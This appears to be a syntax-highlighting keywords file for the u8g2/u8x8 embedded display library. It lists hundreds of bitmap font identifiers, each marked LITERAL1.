u8g2_font_astragal_nbp_tf LITERAL1 u8g2_font_astragal_nbp_tr LITERAL1 u8g2_font_astragal_nbp_tn LITERAL1 u8g2_font_habsburgchancery_tf LITERAL1 u8g2_font_habsburgchancery_tr LITERAL1 u8g2_font_habsburgchancery_tn LITERAL1 u8g2_font_habsburgchancery_t_all LITERAL1 u8g2_font_missingplanet_tf LITERAL1 u8g2_font_missingplanet_tr LITERAL1 u8g2_font_missingplanet_tn LITERAL1 u8g2_font_missingplanet_t_all LITERAL1 u8g2_font_ordinarybasis_tf LITERAL1 u8g2_font_ordinarybasis_tr LITERAL1 u8g2_font_ordinarybasis_tn LITERAL1 u8g2_font_ordinarybasis_t_all LITERAL1 u8g2_font_pixelmordred_tf LITERAL1 u8g2_font_pixelmordred_tr LITERAL1 u8g2_font_pixelmordred_tn LITERAL1 u8g2_font_pixelmordred_t_all LITERAL1 u8g2_font_secretaryhand_tf LITERAL1 u8g2_font_secretaryhand_tr LITERAL1 u8g2_font_secretaryhand_tn LITERAL1 u8g2_font_secretaryhand_t_all LITERAL1 u8g2_font_garbagecan_tf LITERAL1 u8g2_font_garbagecan_tr LITERAL1 u8g2_font_beanstalk_mel_tr LITERAL1 u8g2_font_beanstalk_mel_tn LITERAL1 u8g2_font_cube_mel_tr LITERAL1 u8g2_font_cube_mel_tn LITERAL1 u8g2_font_mademoiselle_mel_tr LITERAL1 u8g2_font_mademoiselle_mel_tn LITERAL1 u8g2_font_pieceofcake_mel_tr LITERAL1 u8g2_font_pieceofcake_mel_tn LITERAL1 u8g2_font_press_mel_tr LITERAL1 u8g2_font_press_mel_tn LITERAL1 u8g2_font_repress_mel_tr LITERAL1 u8g2_font_repress_mel_tn LITERAL1 u8g2_font_sticker_mel_tr LITERAL1 u8g2_font_sticker_mel_tn LITERAL1 u8g2_font_celibatemonk_tr LITERAL1 u8g2_font_disrespectfulteenager_tu LITERAL1 u8g2_font_michaelmouse_tu LITERAL1 u8g2_font_sandyforest_tr LITERAL1 u8g2_font_sandyforest_tn LITERAL1 u8g2_font_sandyforest_tu LITERAL1 u8g2_font_cupcakemetoyourleader_tr LITERAL1 u8g2_font_cupcakemetoyourleader_tn LITERAL1 u8g2_font_cupcakemetoyourleader_tu LITERAL1 u8g2_font_oldwizard_tf LITERAL1 u8g2_font_oldwizard_tr LITERAL1 u8g2_font_oldwizard_tn LITERAL1 u8g2_font_oldwizard_tu LITERAL1 u8g2_font_squirrel_tr LITERAL1 u8g2_font_squirrel_tn LITERAL1 u8g2_font_squirrel_tu LITERAL1 u8g2_font_diodesemimono_tr LITERAL1 u8g2_font_questgiver_tr LITERAL1 u8g2_font_seraphimb1_tr LITERAL1 u8g2_font_resoledbold_tr LITERAL1 u8g2_font_resoledmedium_tr LITERAL1 u8g2_font_jinxedwizards_tr LITERAL1 u8g2_font_lastpriestess_tr LITERAL1 u8g2_font_lastpriestess_tu LITERAL1 u8g2_font_bitcasual_tf LITERAL1 u8g2_font_bitcasual_tr LITERAL1 u8g2_font_bitcasual_tn LITERAL1 u8g2_font_bitcasual_tu LITERAL1 u8g2_font_bitcasual_t_all LITERAL1 u8g2_font_koleeko_tf LITERAL1 u8g2_font_koleeko_tr LITERAL1 u8g2_font_koleeko_tn LITERAL1 u8g2_font_koleeko_tu LITERAL1 u8g2_font_tenfatguys_tf LITERAL1 u8g2_font_tenfatguys_tr LITERAL1 u8g2_font_tenfatguys_tn LITERAL1 u8g2_font_tenfatguys_tu LITERAL1 u8g2_font_tenfatguys_t_all LITERAL1 u8g2_font_tenstamps_mf LITERAL1 u8g2_font_tenstamps_mr LITERAL1 u8g2_font_tenstamps_mn LITERAL1 u8g2_font_tenstamps_mu LITERAL1 u8g2_font_tenthinguys_tf LITERAL1 u8g2_font_tenthinguys_tr LITERAL1 u8g2_font_tenthinguys_tn LITERAL1 u8g2_font_tenthinguys_tu LITERAL1 u8g2_font_tenthinguys_t_all LITERAL1 u8g2_font_tenthinnerguys_tf LITERAL1 u8g2_font_tenthinnerguys_tr LITERAL1 u8g2_font_tenthinnerguys_tn LITERAL1 u8g2_font_tenthinnerguys_tu LITERAL1 u8g2_font_tenthinnerguys_t_all LITERAL1 u8g2_font_twelvedings_t_all LITERAL1 u8g2_font_frigidaire_mr LITERAL1 u8g2_font_lord_mr LITERAL1 u8g2_font_abel_mr LITERAL1 u8g2_font_fewture_tf LITERAL1 u8g2_font_fewture_tr LITERAL1 u8g2_font_fewture_tn LITERAL1 u8g2_font_halftone_tf LITERAL1 u8g2_font_halftone_tr LITERAL1 u8g2_font_halftone_tn LITERAL1 u8g2_font_nerhoe_tf LITERAL1 u8g2_font_nerhoe_tr LITERAL1 u8g2_font_nerhoe_tn LITERAL1 u8g2_font_oskool_tf LITERAL1 u8g2_font_oskool_tr LITERAL1 u8g2_font_oskool_tn LITERAL1 u8g2_font_tinytim_tf LITERAL1 u8g2_font_tinytim_tr LITERAL1 u8g2_font_tinytim_tn LITERAL1 u8g2_font_tooseornament_tf LITERAL1 u8g2_font_tooseornament_tr LITERAL1 u8g2_font_tooseornament_tn LITERAL1 u8g2_font_bauhaus2015_tr LITERAL1 u8g2_font_bauhaus2015_tn LITERAL1 u8g2_font_finderskeepers_tf LITERAL1 u8g2_font_finderskeepers_tr LITERAL1 u8g2_font_finderskeepers_tn LITERAL1 u8g2_font_sirclivethebold_tr LITERAL1 u8g2_font_sirclivethebold_tn LITERAL1 u8g2_font_sirclive_tr LITERAL1 u8g2_font_sirclive_tn LITERAL1 u8g2_font_adventurer_tf LITERAL1 u8g2_font_adventurer_tr LITERAL1 u8g2_font_adventurer_t_all LITERAL1 u8g2_font_bracketedbabies_tr LITERAL1 u8g2_font_frikativ_tf LITERAL1 u8g2_font_frikativ_tr LITERAL1 u8g2_font_frikativ_t_all LITERAL1 u8g2_font_fancypixels_tf LITERAL1 u8g2_font_fancypixels_tr LITERAL1 u8g2_font_heavybottom_tr LITERAL1 u8g2_font_iconquadpix_m_all LITERAL1 u8g2_font_tallpix_tr LITERAL1 u8g2_font_botmaker_te LITERAL1 u8g2_font_efraneextracondensed_te LITERAL1 u8g2_font_3x3basic_tr LITERAL1 u8g2_font_tiny_gk_tr LITERAL1 u8g2_font_threepix_tr LITERAL1 u8g2_font_eventhrees_tr LITERAL1 u8g2_font_fourmat_tf LITERAL1 u8g2_font_fourmat_tr LITERAL1 u8g2_font_fourmat_te LITERAL1 u8g2_font_tiny_simon_tr LITERAL1 u8g2_font_tiny_simon_mr LITERAL1 u8g2_font_smolfont_tf LITERAL1 u8g2_font_smolfont_tr LITERAL1 u8g2_font_smolfont_te LITERAL1 u8g2_font_tinyunicode_tf LITERAL1 u8g2_font_tinyunicode_tr LITERAL1 u8g2_font_tinyunicode_te LITERAL1 u8g2_font_tinypixie2_tr LITERAL1 u8g2_font_standardized3x5_tr LITERAL1 u8g2_font_fivepx_tr LITERAL1 u8g2_font_3x5im_tr LITERAL1 u8g2_font_3x5im_te LITERAL1 u8g2_font_3x5im_mr LITERAL1 u8g2_font_wedge_tr LITERAL1 u8g2_font_kibibyte_tr LITERAL1 u8g2_font_kibibyte_te LITERAL1 u8g2_font_tinyface_tr LITERAL1 u8g2_font_tinyface_te LITERAL1 u8g2_font_smallsimple_tr LITERAL1 u8g2_font_smallsimple_te LITERAL1 u8g2_font_simple1_tf LITERAL1 u8g2_font_simple1_tr LITERAL1 u8g2_font_simple1_te LITERAL1 u8g2_font_likeminecraft_te LITERAL1 u8g2_font_medsans_tr LITERAL1 u8g2_font_heisans_tr LITERAL1 u8g2_font_originalsans_tr LITERAL1 u8g2_font_minicute_tr LITERAL1 u8g2_font_minicute_te LITERAL1 u8g2_font_scrum_tf LITERAL1 u8g2_font_scrum_tr LITERAL1 u8g2_font_scrum_te LITERAL1 u8g2_font_stylishcharm_tr LITERAL1 u8g2_font_stylishcharm_te LITERAL1 u8g2_font_sisterserif_tr LITERAL1 u8g2_font_princess_tr LITERAL1 u8g2_font_princess_te LITERAL1 u8g2_font_dystopia_tr LITERAL1 u8g2_font_dystopia_te LITERAL1 u8g2_font_lastapprenticethin_tr LITERAL1 u8g2_font_lastapprenticethin_te LITERAL1 u8g2_font_lastapprenticebold_tr LITERAL1 u8g2_font_lastapprenticebold_te LITERAL1 u8g2_font_bpixel_tr LITERAL1 u8g2_font_bpixel_te LITERAL1 u8g2_font_bpixeldouble_tr LITERAL1 u8g2_font_mildras_tr LITERAL1 u8g2_font_mildras_te LITERAL1 u8g2_font_minuteconsole_mr LITERAL1 u8g2_font_minuteconsole_tr LITERAL1 u8g2_font_busdisplay11x5_tr LITERAL1 u8g2_font_busdisplay11x5_te LITERAL1 u8g2_font_busdisplay8x5_tr LITERAL1 u8g2_font_sticker100complete_tr LITERAL1 u8g2_font_sticker100complete_te LITERAL1 u8g2_font_doomalpha04_tr LITERAL1 u8g2_font_doomalpha04_te LITERAL1 u8g2_font_greenbloodserif2_tr LITERAL1 u8g2_font_eckpixel_tr LITERAL1 u8g2_font_elispe_tr LITERAL1 u8g2_font_neuecraft_tr LITERAL1 u8g2_font_neuecraft_te LITERAL1 u8g2_font_8bitclassic_tf LITERAL1 u8g2_font_8bitclassic_tr LITERAL1 u8g2_font_8bitclassic_te LITERAL1 u8g2_font_littlemissloudonbold_tr LITERAL1 u8g2_font_littlemissloudonbold_te LITERAL1 u8g2_font_commodore64_tr LITERAL1 u8g2_font_new3x9pixelfont_tf LITERAL1 u8g2_font_new3x9pixelfont_tr LITERAL1 u8g2_font_new3x9pixelfont_te LITERAL1 u8g2_font_sonicmania_tr LITERAL1 u8g2_font_sonicmania_te LITERAL1 u8g2_font_bytesize_tf LITERAL1 u8g2_font_bytesize_tr LITERAL1 u8g2_font_bytesize_te LITERAL1 u8g2_font_pixzillav1_tf LITERAL1 u8g2_font_pixzillav1_tr LITERAL1 u8g2_font_pixzillav1_te LITERAL1 u8g2_font_ciircle13_tr LITERAL1 u8g2_font_pxclassic_tf LITERAL1 u8g2_font_pxclassic_tr LITERAL1 u8g2_font_pxclassic_te LITERAL1 u8g2_font_moosenooks_tr LITERAL1 u8g2_font_tallpixelextended_tf LITERAL1 u8g2_font_tallpixelextended_tr LITERAL1 u8g2_font_tallpixelextended_te LITERAL1 u8g2_font_BBSesque_tf LITERAL1 u8g2_font_BBSesque_tr LITERAL1 u8g2_font_BBSesque_te LITERAL1 u8g2_font_Born2bSportySlab_tf LITERAL1 u8g2_font_Born2bSportySlab_tr LITERAL1 u8g2_font_Born2bSportySlab_te LITERAL1 u8g2_font_Born2bSportySlab_t_all LITERAL1 u8g2_font_Born2bSportyV2_tf LITERAL1 u8g2_font_Born2bSportyV2_tr LITERAL1 u8g2_font_Born2bSportyV2_te LITERAL1 u8g2_font_CursivePixel_tr LITERAL1 u8g2_font_Engrish_tf LITERAL1 u8g2_font_Engrish_tr LITERAL1 u8g2_font_ImpactBits_tr LITERAL1 u8g2_font_IPAandRUSLCD_tf LITERAL1 u8g2_font_IPAandRUSLCD_tr LITERAL1 u8g2_font_IPAandRUSLCD_te LITERAL1 u8g2_font_PixelTheatre_tr LITERAL1 u8g2_font_PixelTheatre_te LITERAL1 u8g2_font_HelvetiPixel_tr LITERAL1 u8g2_font_TimesNewPixel_tr LITERAL1 u8g2_font_BitTypeWriter_tr LITERAL1 u8g2_font_BitTypeWriter_te LITERAL1 u8g2_font_Georgia7px_tf LITERAL1 u8g2_font_Georgia7px_tr LITERAL1 u8g2_font_Georgia7px_te LITERAL1 u8g2_font_Wizzard_tr LITERAL1 u8g2_font_HelvetiPixelOutline_tr LITERAL1 u8g2_font_HelvetiPixelOutline_te LITERAL1 u8g2_font_Untitled16PixelSansSerifBitmap_tr LITERAL1 u8g2_font_UnnamedDOSFontIV_tr LITERAL1 u8g2_font_Terminal_tr LITERAL1 u8g2_font_Terminal_te LITERAL1 u8g2_font_NokiaLargeBold_tf LITERAL1 u8g2_font_NokiaLargeBold_tr LITERAL1 u8g2_font_NokiaLargeBold_te LITERAL1 u8g2_font_NokiaSmallBold_tf LITERAL1 u8g2_font_NokiaSmallBold_tr LITERAL1 u8g2_font_NokiaSmallBold_te LITERAL1 u8g2_font_NokiaSmallPlain_tf LITERAL1 u8g2_font_NokiaSmallPlain_tr LITERAL1 u8g2_font_NokiaSmallPlain_te LITERAL1 u8g2_font_12x6LED_tf LITERAL1 u8g2_font_12x6LED_tr LITERAL1 u8g2_font_12x6LED_mn LITERAL1 u8g2_font_9x6LED_tf LITERAL1 u8g2_font_9x6LED_tr LITERAL1 u8g2_font_9x6LED_mn LITERAL1 u8g2_font_calblk36_tr LITERAL1 u8g2_font_callite24_tr LITERAL1 u8g2_font_spleen5x8_mf LITERAL1 u8g2_font_spleen5x8_mr LITERAL1 u8g2_font_spleen5x8_mn LITERAL1 u8g2_font_spleen5x8_mu LITERAL1 u8g2_font_spleen5x8_me LITERAL1 u8g2_font_spleen6x12_mf LITERAL1 u8g2_font_spleen6x12_mr LITERAL1 u8g2_font_spleen6x12_mn LITERAL1 u8g2_font_spleen6x12_mu LITERAL1 u8g2_font_spleen6x12_me LITERAL1 u8g2_font_spleen8x16_mf LITERAL1 u8g2_font_spleen8x16_mr LITERAL1 u8g2_font_spleen8x16_mn LITERAL1 u8g2_font_spleen8x16_mu LITERAL1 u8g2_font_spleen8x16_me LITERAL1 u8g2_font_spleen12x24_mf LITERAL1 u8g2_font_spleen12x24_mr LITERAL1 u8g2_font_spleen12x24_mn LITERAL1 u8g2_font_spleen12x24_mu LITERAL1 u8g2_font_spleen12x24_me LITERAL1 u8g2_font_spleen16x32_mf LITERAL1 u8g2_font_spleen16x32_mr LITERAL1 u8g2_font_spleen16x32_mn LITERAL1 u8g2_font_spleen16x32_mu LITERAL1 u8g2_font_spleen16x32_me LITERAL1 u8g2_font_spleen32x64_mf LITERAL1 u8g2_font_spleen32x64_mr LITERAL1 u8g2_font_spleen32x64_mn LITERAL1 u8g2_font_spleen32x64_mu LITERAL1 u8g2_font_spleen32x64_me LITERAL1 u8g2_font_nokiafc22_tf LITERAL1 u8g2_font_nokiafc22_tr LITERAL1 u8g2_font_nokiafc22_tn LITERAL1 u8g2_font_nokiafc22_tu LITERAL1 u8g2_font_VCR_OSD_tf LITERAL1 u8g2_font_VCR_OSD_tr LITERAL1 u8g2_font_VCR_OSD_tn LITERAL1 u8g2_font_VCR_OSD_tu LITERAL1 u8g2_font_VCR_OSD_mf LITERAL1 u8g2_font_VCR_OSD_mr LITERAL1 u8g2_font_VCR_OSD_mn LITERAL1 u8g2_font_VCR_OSD_mu LITERAL1 u8g2_font_Pixellari_tf LITERAL1 u8g2_font_Pixellari_tr LITERAL1 u8g2_font_Pixellari_tn LITERAL1 u8g2_font_Pixellari_tu LITERAL1 u8g2_font_Pixellari_te LITERAL1 u8g2_font_pixelpoiiz_tr LITERAL1 u8g2_font_DigitalDiscoThin_tf LITERAL1 u8g2_font_DigitalDiscoThin_tr LITERAL1 u8g2_font_DigitalDiscoThin_tn LITERAL1 u8g2_font_DigitalDiscoThin_tu LITERAL1 u8g2_font_DigitalDiscoThin_te LITERAL1 u8g2_font_DigitalDisco_tf LITERAL1 u8g2_font_DigitalDisco_tr LITERAL1 u8g2_font_DigitalDisco_tn LITERAL1 u8g2_font_DigitalDisco_tu LITERAL1 u8g2_font_DigitalDisco_te LITERAL1 u8g2_font_pearfont_tr LITERAL1 u8g2_font_etl14thai_t LITERAL1 u8g2_font_etl16thai_t LITERAL1 u8g2_font_etl24thai_t LITERAL1 u8g2_font_crox1cb_tf LITERAL1 u8g2_font_crox1cb_tr LITERAL1 u8g2_font_crox1cb_tn LITERAL1 u8g2_font_crox1cb_mf LITERAL1 u8g2_font_crox1cb_mr LITERAL1 u8g2_font_crox1cb_mn LITERAL1 u8g2_font_crox1c_tf LITERAL1 u8g2_font_crox1c_tr LITERAL1 u8g2_font_crox1c_tn LITERAL1 u8g2_font_crox1c_mf LITERAL1 u8g2_font_crox1c_mr LITERAL1 u8g2_font_crox1c_mn LITERAL1 u8g2_font_crox1hb_tf LITERAL1 u8g2_font_crox1hb_tr LITERAL1 u8g2_font_crox1hb_tn LITERAL1 u8g2_font_crox1h_tf LITERAL1 u8g2_font_crox1h_tr LITERAL1 u8g2_font_crox1h_tn LITERAL1 u8g2_font_crox1tb_tf LITERAL1 u8g2_font_crox1tb_tr LITERAL1 u8g2_font_crox1tb_tn LITERAL1 u8g2_font_crox1t_tf LITERAL1 u8g2_font_crox1t_tr LITERAL1 u8g2_font_crox1t_tn LITERAL1 u8g2_font_crox2cb_tf LITERAL1 u8g2_font_crox2cb_tr LITERAL1 u8g2_font_crox2cb_tn LITERAL1 u8g2_font_crox2cb_mf LITERAL1 u8g2_font_crox2cb_mr LITERAL1 u8g2_font_crox2cb_mn LITERAL1 u8g2_font_crox2c_tf LITERAL1 u8g2_font_crox2c_tr LITERAL1 u8g2_font_crox2c_tn LITERAL1 u8g2_font_crox2c_mf LITERAL1 u8g2_font_crox2c_mr LITERAL1 u8g2_font_crox2c_mn LITERAL1 u8g2_font_crox2hb_tf LITERAL1 u8g2_font_crox2hb_tr LITERAL1 u8g2_font_crox2hb_tn LITERAL1 u8g2_font_crox2h_tf LITERAL1 u8g2_font_crox2h_tr LITERAL1 u8g2_font_crox2h_tn LITERAL1 u8g2_font_crox2tb_tf LITERAL1 u8g2_font_crox2tb_tr LITERAL1 u8g2_font_crox2tb_tn LITERAL1 u8g2_font_crox2t_tf LITERAL1 u8g2_font_crox2t_tr LITERAL1 u8g2_font_crox2t_tn LITERAL1 u8g2_font_crox3cb_tf LITERAL1 u8g2_font_crox3cb_tr LITERAL1 u8g2_font_crox3cb_tn LITERAL1 u8g2_font_crox3cb_mf LITERAL1 u8g2_font_crox3cb_mr LITERAL1 u8g2_font_crox3cb_mn LITERAL1 u8g2_font_crox3c_tf LITERAL1 u8g2_font_crox3c_tr LITERAL1 u8g2_font_crox3c_tn LITERAL1 u8g2_font_crox3c_mf LITERAL1 u8g2_font_crox3c_mr LITERAL1 u8g2_font_crox3c_mn LITERAL1 u8g2_font_crox3hb_tf LITERAL1 u8g2_font_crox3hb_tr LITERAL1 u8g2_font_crox3hb_tn LITERAL1 u8g2_font_crox3h_tf LITERAL1 u8g2_font_crox3h_tr LITERAL1 u8g2_font_crox3h_tn LITERAL1 u8g2_font_crox3tb_tf LITERAL1 u8g2_font_crox3tb_tr LITERAL1 u8g2_font_crox3tb_tn LITERAL1 u8g2_font_crox3t_tf LITERAL1 u8g2_font_crox3t_tr LITERAL1 u8g2_font_crox3t_tn LITERAL1 u8g2_font_crox4hb_tf LITERAL1 u8g2_font_crox4hb_tr LITERAL1 u8g2_font_crox4hb_tn LITERAL1 u8g2_font_crox4h_tf LITERAL1 u8g2_font_crox4h_tr LITERAL1 u8g2_font_crox4h_tn LITERAL1 u8g2_font_crox4tb_tf LITERAL1 u8g2_font_crox4tb_tr LITERAL1 u8g2_font_crox4tb_tn LITERAL1 u8g2_font_crox4t_tf LITERAL1 u8g2_font_crox4t_tr LITERAL1 u8g2_font_crox4t_tn LITERAL1 u8g2_font_crox5hb_tf LITERAL1 u8g2_font_crox5hb_tr LITERAL1 u8g2_font_crox5hb_tn LITERAL1 u8g2_font_crox5h_tf LITERAL1 u8g2_font_crox5h_tr LITERAL1 u8g2_font_crox5h_tn LITERAL1 u8g2_font_crox5tb_tf LITERAL1 u8g2_font_crox5tb_tr LITERAL1 u8g2_font_crox5tb_tn LITERAL1 u8g2_font_crox5t_tf LITERAL1 u8g2_font_crox5t_tr LITERAL1 u8g2_font_crox5t_tn LITERAL1 u8g2_font_cu12_tf LITERAL1 u8g2_font_cu12_tr LITERAL1 u8g2_font_cu12_tn LITERAL1 u8g2_font_cu12_te LITERAL1 u8g2_font_cu12_hf LITERAL1 u8g2_font_cu12_hr LITERAL1 u8g2_font_cu12_hn LITERAL1 u8g2_font_cu12_he LITERAL1 u8g2_font_cu12_mf LITERAL1 u8g2_font_cu12_mr LITERAL1 u8g2_font_cu12_mn LITERAL1 u8g2_font_cu12_me LITERAL1 u8g2_font_cu12_t_symbols LITERAL1 u8g2_font_cu12_h_symbols LITERAL1 u8g2_font_cu12_t_greek LITERAL1 u8g2_font_cu12_t_cyrillic LITERAL1 u8g2_font_cu12_t_tibetan LITERAL1 u8g2_font_cu12_t_hebrew LITERAL1 u8g2_font_cu12_t_arabic LITERAL1 u8g2_font_unifont_tf LITERAL1 u8g2_font_unifont_tr LITERAL1 u8g2_font_unifont_te LITERAL1 u8g2_font_unifont_t_latin LITERAL1 u8g2_font_unifont_t_extended LITERAL1 u8g2_font_unifont_t_72_73 LITERAL1 u8g2_font_unifont_t_0_72_73 LITERAL1 u8g2_font_unifont_t_75 LITERAL1 u8g2_font_unifont_t_0_75 LITERAL1 u8g2_font_unifont_t_76 LITERAL1 u8g2_font_unifont_t_0_76 LITERAL1 u8g2_font_unifont_t_77 LITERAL1 u8g2_font_unifont_t_0_77 LITERAL1 u8g2_font_unifont_t_78_79 LITERAL1 u8g2_font_unifont_t_0_78_79 LITERAL1 u8g2_font_unifont_t_86 LITERAL1 u8g2_font_unifont_t_0_86 LITERAL1 u8g2_font_unifont_t_greek LITERAL1 u8g2_font_unifont_t_cyrillic LITERAL1 u8g2_font_unifont_t_hebrew LITERAL1 u8g2_font_unifont_t_bengali LITERAL1 u8g2_font_unifont_t_tibetan LITERAL1 u8g2_font_unifont_t_urdu LITERAL1 u8g2_font_unifont_t_polish LITERAL1 u8g2_font_unifont_t_devanagari LITERAL1 u8g2_font_unifont_t_arabic LITERAL1 u8g2_font_unifont_t_symbols LITERAL1 u8g2_font_unifont_h_symbols LITERAL1 u8g2_font_unifont_t_emoticons LITERAL1 u8g2_font_unifont_t_animals LITERAL1 u8g2_font_unifont_t_domino LITERAL1 u8g2_font_unifont_t_cards LITERAL1 u8g2_font_unifont_t_weather LITERAL1 u8g2_font_unifont_t_chinese1 LITERAL1 u8g2_font_unifont_t_chinese2 LITERAL1 u8g2_font_unifont_t_chinese3 LITERAL1 u8g2_font_unifont_t_japanese1 LITERAL1 u8g2_font_unifont_t_japanese2 LITERAL1 u8g2_font_unifont_t_japanese3 LITERAL1 u8g2_font_unifont_t_korean1 LITERAL1 u8g2_font_unifont_t_korean2 LITERAL1 u8g2_font_unifont_t_vietnamese1 LITERAL1 u8g2_font_unifont_t_vietnamese2 LITERAL1 u8g2_font_gb16st_t_1 LITERAL1 u8g2_font_gb16st_t_2 LITERAL1 u8g2_font_gb16st_t_3 LITERAL1 u8g2_font_gb24st_t_1 LITERAL1 u8g2_font_gb24st_t_2 LITERAL1 u8g2_font_gb24st_t_3 LITERAL1 u8g2_font_wqy12_t_chinese1 LITERAL1 u8g2_font_wqy12_t_chinese2 LITERAL1 u8g2_font_wqy12_t_chinese3 LITERAL1 u8g2_font_wqy12_t_gb2312 LITERAL1 u8g2_font_wqy12_t_gb2312a LITERAL1 u8g2_font_wqy12_t_gb2312b LITERAL1 u8g2_font_wqy13_t_chinese1 LITERAL1 u8g2_font_wqy13_t_chinese2 LITERAL1 u8g2_font_wqy13_t_chinese3 LITERAL1 u8g2_font_wqy13_t_gb2312 LITERAL1 u8g2_font_wqy13_t_gb2312a LITERAL1 u8g2_font_wqy13_t_gb2312b LITERAL1 u8g2_font_wqy14_t_chinese1 LITERAL1 u8g2_font_wqy14_t_chinese2 LITERAL1 u8g2_font_wqy14_t_chinese3 LITERAL1 u8g2_font_wqy14_t_gb2312 LITERAL1 u8g2_font_wqy14_t_gb2312a LITERAL1 u8g2_font_wqy14_t_gb2312b LITERAL1 u8g2_font_wqy15_t_chinese1 LITERAL1 u8g2_font_wqy15_t_chinese2 LITERAL1 u8g2_font_wqy15_t_chinese3 LITERAL1 u8g2_font_wqy15_t_gb2312 LITERAL1 u8g2_font_wqy15_t_gb2312a LITERAL1 u8g2_font_wqy15_t_gb2312b LITERAL1 u8g2_font_wqy16_t_chinese1 LITERAL1 u8g2_font_wqy16_t_chinese2 LITERAL1 u8g2_font_wqy16_t_chinese3 LITERAL1 u8g2_font_wqy16_t_gb2312 LITERAL1 u8g2_font_wqy16_t_gb2312a LITERAL1 u8g2_font_wqy16_t_gb2312b LITERAL1 u8g2_font_b10_t_japanese1 LITERAL1 u8g2_font_b10_t_japanese2 LITERAL1 u8g2_font_b10_b_t_japanese1 LITERAL1 u8g2_font_b10_b_t_japanese2 LITERAL1 u8g2_font_f10_t_japanese1 LITERAL1 u8g2_font_f10_t_japanese2 LITERAL1 u8g2_font_f10_b_t_japanese1 LITERAL1 u8g2_font_f10_b_t_japanese2 LITERAL1 u8g2_font_b12_t_japanese1 LITERAL1 u8g2_font_b12_t_japanese2 LITERAL1 u8g2_font_b12_t_japanese3 LITERAL1 u8g2_font_b12_b_t_japanese1 LITERAL1 u8g2_font_b12_b_t_japanese2 LITERAL1 u8g2_font_b12_b_t_japanese3 LITERAL1 u8g2_font_f12_t_japanese1 LITERAL1 u8g2_font_f12_t_japanese2 LITERAL1 u8g2_font_f12_b_t_japanese1 LITERAL1 u8g2_font_f12_b_t_japanese2 LITERAL1 u8g2_font_b16_t_japanese1 LITERAL1 u8g2_font_b16_t_japanese2 LITERAL1 u8g2_font_b16_t_japanese3 LITERAL1 u8g2_font_b16_b_t_japanese1 LITERAL1 u8g2_font_b16_b_t_japanese2 LITERAL1 u8g2_font_b16_b_t_japanese3 LITERAL1 u8g2_font_f16_t_japanese1 LITERAL1 u8g2_font_f16_t_japanese2 LITERAL1 u8g2_font_f16_b_t_japanese1 LITERAL1 u8g2_font_f16_b_t_japanese2 LITERAL1 u8g2_font_artossans8_8r LITERAL1 u8g2_font_artossans8_8n LITERAL1 u8g2_font_artossans8_8u LITERAL1 u8x8_font_artossans8_r LITERAL1 u8x8_font_artossans8_n LITERAL1 u8x8_font_artossans8_u LITERAL1 u8g2_font_artosserif8_8r LITERAL1 u8g2_font_artosserif8_8n LITERAL1 u8g2_font_artosserif8_8u LITERAL1 u8x8_font_artosserif8_r LITERAL1 u8x8_font_artosserif8_n LITERAL1 u8x8_font_artosserif8_u LITERAL1 u8g2_font_chroma48medium8_8r LITERAL1 u8g2_font_chroma48medium8_8n LITERAL1 u8g2_font_chroma48medium8_8u LITERAL1 u8x8_font_chroma48medium8_r LITERAL1 u8x8_font_chroma48medium8_n LITERAL1 u8x8_font_chroma48medium8_u LITERAL1 u8g2_font_saikyosansbold8_8n LITERAL1 u8g2_font_saikyosansbold8_8u LITERAL1 u8x8_font_saikyosansbold8_n LITERAL1 u8x8_font_saikyosansbold8_u LITERAL1 u8g2_font_torussansbold8_8r LITERAL1 u8g2_font_torussansbold8_8n LITERAL1 u8g2_font_torussansbold8_8u LITERAL1 u8x8_font_torussansbold8_r LITERAL1 u8x8_font_torussansbold8_n LITERAL1 u8x8_font_torussansbold8_u LITERAL1 u8g2_font_victoriabold8_8r LITERAL1 u8g2_font_victoriabold8_8n LITERAL1 u8g2_font_victoriabold8_8u LITERAL1 u8x8_font_victoriabold8_r LITERAL1 u8x8_font_victoriabold8_n LITERAL1 u8x8_font_victoriabold8_u LITERAL1 u8g2_font_victoriamedium8_8r LITERAL1 u8g2_font_victoriamedium8_8n LITERAL1 u8g2_font_victoriamedium8_8u LITERAL1 u8x8_font_victoriamedium8_r LITERAL1 u8x8_font_victoriamedium8_n LITERAL1 u8x8_font_victoriamedium8_u LITERAL1 u8g2_font_courB08_tf LITERAL1 u8g2_font_courB08_tr LITERAL1 u8g2_font_courB08_tn LITERAL1 u8g2_font_courB10_tf LITERAL1 u8g2_font_courB10_tr LITERAL1 u8g2_font_courB10_tn LITERAL1 u8g2_font_courB12_tf LITERAL1 u8g2_font_courB12_tr LITERAL1 u8g2_font_courB12_tn LITERAL1 u8g2_font_courB14_tf LITERAL1 u8g2_font_courB14_tr LITERAL1 u8g2_font_courB14_tn LITERAL1 u8g2_font_courB18_tf LITERAL1 u8g2_font_courB18_tr LITERAL1 u8g2_font_courB18_tn LITERAL1 u8g2_font_courB24_tf LITERAL1 u8g2_font_courB24_tr LITERAL1 u8g2_font_courB24_tn LITERAL1 u8g2_font_courR08_tf LITERAL1 u8g2_font_courR08_tr LITERAL1 u8g2_font_courR08_tn LITERAL1 u8g2_font_courR10_tf LITERAL1 u8g2_font_courR10_tr LITERAL1 u8g2_font_courR10_tn LITERAL1 u8g2_font_courR12_tf LITERAL1 u8g2_font_courR12_tr LITERAL1 u8g2_font_courR12_tn LITERAL1 u8g2_font_courR14_tf LITERAL1 u8g2_font_courR14_tr LITERAL1 u8g2_font_courR14_tn LITERAL1 u8g2_font_courR18_tf LITERAL1 u8g2_font_courR18_tr LITERAL1 u8g2_font_courR18_tn LITERAL1 u8g2_font_courR24_tf LITERAL1 u8g2_font_courR24_tr LITERAL1 u8g2_font_courR24_tn LITERAL1 u8x8_font_courB18_2x3_f LITERAL1 u8x8_font_courB18_2x3_r LITERAL1 u8x8_font_courB18_2x3_n LITERAL1 u8x8_font_courR18_2x3_f LITERAL1 u8x8_font_courR18_2x3_r LITERAL1 u8x8_font_courR18_2x3_n LITERAL1 u8x8_font_courB24_3x4_f LITERAL1 u8x8_font_courB24_3x4_r LITERAL1 u8x8_font_courB24_3x4_n LITERAL1 u8x8_font_courR24_3x4_f LITERAL1 u8x8_font_courR24_3x4_r LITERAL1 u8x8_font_courR24_3x4_n LITERAL1 u8g2_font_helvB08_tf LITERAL1 u8g2_font_helvB08_tr LITERAL1 u8g2_font_helvB08_tn LITERAL1 u8g2_font_helvB08_te LITERAL1 u8g2_font_helvB10_tf LITERAL1 u8g2_font_helvB10_tr LITERAL1 u8g2_font_helvB10_tn LITERAL1 u8g2_font_helvB10_te LITERAL1 u8g2_font_helvB12_tf LITERAL1 